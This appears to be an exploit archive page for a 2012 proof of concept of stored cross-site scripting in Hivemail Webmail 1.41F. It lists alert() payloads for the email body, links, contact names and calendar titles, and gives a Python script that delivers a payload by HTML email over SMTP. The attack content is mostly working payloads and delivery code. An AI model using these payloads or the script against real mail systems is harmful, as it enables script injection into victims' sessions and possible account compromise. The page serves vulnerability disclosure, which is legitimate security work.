what you don't know can hurt you

Hivemail Webmail 1.41F Build 103 Cross Site Scripting

Hivemail Webmail 1.41F Build 103 Cross Site Scripting
Posted Aug 18, 2012
Authored by Shai rod

Hivemail Webmail version 1.41F Build 103 suffers from a stored cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | eb95ec4181e9ca1b97c0f5ba9d1860bd1bcdd90beeb3838a6000d6ba38904914

Hivemail Webmail 1.41F Build 103 Cross Site Scripting

Change Mirror Download
#!/usr/bin/python


'''

# Exploit Title: Hivemail Webmail Multiple Stored XSS issues
# Date: 16/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.hivemail.com/
# Software Link: http://www.hivemail.com/data/HM_1_41F_103.rar
# Version: 1.41F Build 103

#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


Vulnerability Description
=========================

1. Stored XSS in email body.

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>

Send an email to the victim with the payload in the message body.
XSS Will be triggered when victim opens the message.


2. Stored XSS in e-mail body (HREF).

XSS Payload: <a href=javascript:alert("AnotherXSS")>Click Me</a>

Send an email to the victim with the payload in the email body, once the user clicks on the link the XSS should be triggered.


3. Stored XSS in contacts.

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>


Create a new contact with the XSS payload in the contact name field, XSS will be triggered each time user view his contacts.


4. Stored XSS in calendar.

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>

Create a new event and in the event title insert your XSS payload, XSS will be triggered when you view your calendar.


'''


import smtplib

print "###############################################"
print "# Hivemail Webmail 1.41F StoredXSS #"
print "# Coded by: Shai rod #"
print "# @NightRang3r #"
print "# http://exploit.co.il #"
print "# For Educational Purposes Only! #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server = "localhost"
smtp_port = 25
subject = "Hivemail Webmail XSS POC"
xss_payload = """<img src='1.jpg'onerror=javascript:alert("XSS")>"""

# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: " + xss_payload + "%s\r\nTo: %s\r\nSubject: %s\n"
% (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += xss_payload
msg += """<a href=javascript:alert("XSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"


Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close